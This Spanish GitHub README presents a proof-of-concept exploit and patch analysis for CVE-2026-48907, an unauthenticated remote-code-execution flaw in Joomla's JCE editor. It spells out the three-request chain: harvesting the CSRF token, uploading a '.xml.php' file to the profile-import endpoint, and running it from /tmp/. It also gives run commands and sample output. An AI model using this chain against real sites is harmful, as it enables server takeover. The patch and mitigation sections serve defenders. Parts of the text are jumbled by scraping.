Prueba de concepto de exploit y análisis técnico para CVE-2026-48907, una vulnerabilidad de ejecución remota de código sin autenticación previa con CVSS 10.0 en el Editor de Contenido de Joomla (JCE). Incluye una cadena de ataque de 3 solicitudes y un desglose detallado del parche.
Exploit de prueba de concepto para CVE-2026-48907 — una vulnerabilidad de ejecución remota de código (RCE) CVSS 10.0 previa a la autenticación en la extensión Joomla Content Editor (JCE).
Investigación del Grayxploit Security Team
CVE-2026-48907 es una vulnerabilidad crítica de ejecución remota de código (RCE) no autenticada que afecta a la extensión Joomla Content Editor (JCE) — el editor de Joomla más instalado — en todas las versiones hasta la 2.9.99.4 inclusive.
Al encadenar tres debilidades de seguridad independientes en el flujo de importación de perfiles de JCE, un atacante completamente no autenticado puede:
/tmp/ del servidorEl ataque solo requiere 3 peticiones HTTP y funciona contra cualquier instalación predeterminada de Joomla que ejecute una versión vulnerable de JCE.
Puntuación CVSS v4: 10.0 — Crítica
Descubierta y divulgada públicamente por el equipo de investigación de seguridad Grayxploit tras una divulgación responsable.
| Software | Versiones vulnerables | Versión parcheada |
|---|---|---|
| Joomla Content Editor (JCE) | ≤ 2.9.99.4 | 2.9.99.6 (recomendada) |
Nota: la 2.9.99.5 introdujo la corrección principal. La 2.9.99.6 añadió capas de endurecimiento adicionales. Actualice a 2.9.99.6 o posterior.
La vulnerabilidad se origina en el endpoint de importación de perfiles de JCE:
POST /index.php?option=com_jce&task=profiles.import
JCE permite a los administradores exportar e importar perfiles de editor como archivos XML. El manejador de importación es accesible sin autenticación y acepta cargas de archivos arbitrarias debido a una cadena de tres debilidades independientes.
El controlador de importación no realizaba ninguna comprobación de ACL:
public function import()
{
// Only gate: CSRF token — trivially bypassable
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … straight into file handling — no authorise() check
}
Joomla incorpora el token CSRF en cada página pública como una metaetiqueta o variable JS:
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
Un atacante simplemente obtiene la página de inicio, extrae el token y lo reutiliza. La comprobación CSRF evita las peticiones entre sitios — no evita las peticiones directas mediante scripts. No había ninguna llamada a Factory::getUser() ni a $user->authorise(...) en ninguna parte de la ruta de importación.
El manejador de carga usaba File::makeSafe(), que solo elimina los caracteres ilegales del sistema de archivos — no valida ni restringe las extensiones de archivo:
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // strips illegal chars only
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
Un nombre de archivo como shell.xml.php pasa por File::makeSafe() sin modificarse. El mod_php de Apache lo ejecuta porque la última extensión reconocida es .php. Extensiones como .php, .php5, .phtml y las variantes de doble extensión eran todas aceptadas.
File::upload() llamado con $allow_unsafe = true (CWE-116)El método File::upload() de Joomla tiene una lista negra de extensiones integrada que bloquea los tipos de archivo peligrosos cuando $allow_unsafe = false (el valor predeterminado):
// Joomla File::upload() signature
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
El código vulnerable de JCE deshabilitaba explícitamente esta red de seguridad:
// VULNERABLE — unsafe uploads explicitly enabled
File::upload($source, $destination, false, true);
Este único booleano desactivó por completo la lista negra interna de extensiones de Joomla, lo que permitió que .php, .php5, .phtml y todas las demás extensiones ejecutables se escribieran en el disco.
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← Extract csrf_token from HTML/JS │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --boundary │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --boundary │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --boundary │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --boundary-- │
│ │
│ ← 200 OK (file written to /var/www/html/tmp/) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← Response: "3105" (45 × 69 = RCE confirmed ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘
No session cookie. No username. No password. 3 HTTP requests.
⚠️ Este PoC se proporciona estrictamente para investigación de seguridad autorizada y pruebas de penetración. No lo utilice contra ningún sistema sin permiso escrito explícito. El uso no autorizado es ilegal y poco ético.
pip3 install requests
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py
[] Target : http://localhost:9999
[] Payload : cve-2026-48907-4821.xml.php [] Step 1 — Fetching CSRF token...
[+] CSRF token: abcdef1234567890abcdef1234567890
[] Step 2 — Uploading payload...
[+] Upload response: HTTP 200
[*] Step 3 — Triggering payload execution...
[CRITICAL] RCE CONFIRMED — CVE-2026-48907
Target http://localhost:9999 is VULNERABLE
Las tres debilidades se corrigieron en JCE 2.9.99.5, con endurecimiento adicional incluido en 2.9.99.6.
controller/profiles.php:
$user = Factory::getUser();
if (!$user->authorise('core.manage', 'com_jce')) {
throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}
Los usuarios invitados (id = 0) fallan authorise() inmediatamente. La petición se rechaza antes de que se gestione ningún archivo.
models/profile.php:
$extension = PATHINFO($name, PATHINFO_EXTENSION);
if (strtolower($extension) !== 'xml') {
$app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
return false;
}
PATHINFO_EXTENSION devuelve solo la extensión final. shell.xml.php → php → rechazado. Neutraliza todas las evasiones de extensiones múltiples.
// Before (vulnerable)
File::upload($source, $destination, false, true);
// After (patched)
File::upload($source, $destination, false);
La lista negra interna de extensiones de Joomla se reactiva como capa de defensa independiente.
| Corrección | Detalle |
|---|---|
| Límite de tamaño de carga | Rechaza archivos de más de 512 KB |
| Protección XXE | libxml_disable_entity_loader(true) retroportado a PHP 7.x |
| Lista blanca de campos XML | Solo se procesan claves XML conocidas como seguras; las claves arbitrarias se ignoran silenciosamente |
| Prioridad | Acción |
|---|---|
| 🔴 Inmediata | Actualice JCE a ≥ 2.9.99.6 |
| 🟠 Alta | Bloquee o restrinja el acceso web a /tmp/ a nivel de servidor |
| 🟠 Alta | Deshabilite la ejecución de PHP en directorios temporales mediante .htaccess o la configuración del servidor |
| 🟡 Media | Añada una regla WAF para alertar o bloquear com_jce&task=profiles.import desde sesiones no autenticadas |
| 🟡 Media | Audite otras extensiones de Joomla en busca de File::upload(..., true) sin validación de extensiones |
/tmp/ mediante .htaccess<Directory /var/www/html/tmp>
php_flag engine off
<FilesMatch "\.ph(p[2-9]?|tml)$">
Deny from all
</FilesMatch>
</Directory>
| Fecha | Evento |
|---|---|
| 2026-05-XX | Vulnerabilidad descubierta por el equipo de investigación de Grayxploit |
| 2026-05-XX | Divulgación responsable enviada a los mantenedores de JCE |
| 2026-06-XX | CVE-2026-48907 asignado por MITRE |
| 2026-06-XX | JCE 2.9.99.5 publicada — corrección principal |
| 2026-06-12 | JCE 2.9.99.6 publicada — endurecimiento adicional |
| 2026-06-12 | Divulgación pública por Grayxploit |
Este repositorio está destinado exclusivamente a la investigación de seguridad autorizada, la educación y las pruebas de penetración en sistemas que usted posea o para los que tenga permiso escrito explícito para probar.
El equipo de Grayxploit no es responsable de ningún uso no autorizado, ilegal o malicioso del código o la información proporcionada en este repositorio.
Úselo con responsabilidad. Pruebe legalmente.
Este proyecto está bajo la Licencia MIT.
Cada estrella ayuda a que esta investigación llegue a más defensores, pentesters y miembros de blue team que la necesitan.
Grayxploit es un equipo independiente de investigación de seguridad centrado en el descubrimiento de vulnerabilidades, el desarrollo de exploits y la divulgación responsable en plataformas web, ecosistemas CMS y software de código abierto.
| Encontramos | Divulgamos | Usted defiende |
|---|---|---|
| RCE sin autenticación | De forma responsable y pública | Con nuestro análisis detallado de parches |
| Fallos de lógica |
¿Tienes algún consejo o quieres colaborar? Abre un Issue o contacta a través de nuestro perfil de GitHub.
CVE-2026-48907 — Investigación original de
Rompiendo cosas. Con responsabilidad.
| Con desgloses completos de la causa raíz |
| Usando nuestros PoCs de forma segura |
| Vulnerabilidades encadenadas | Antes de que comience la explotación masiva | Más rápido que los actores de amenazas |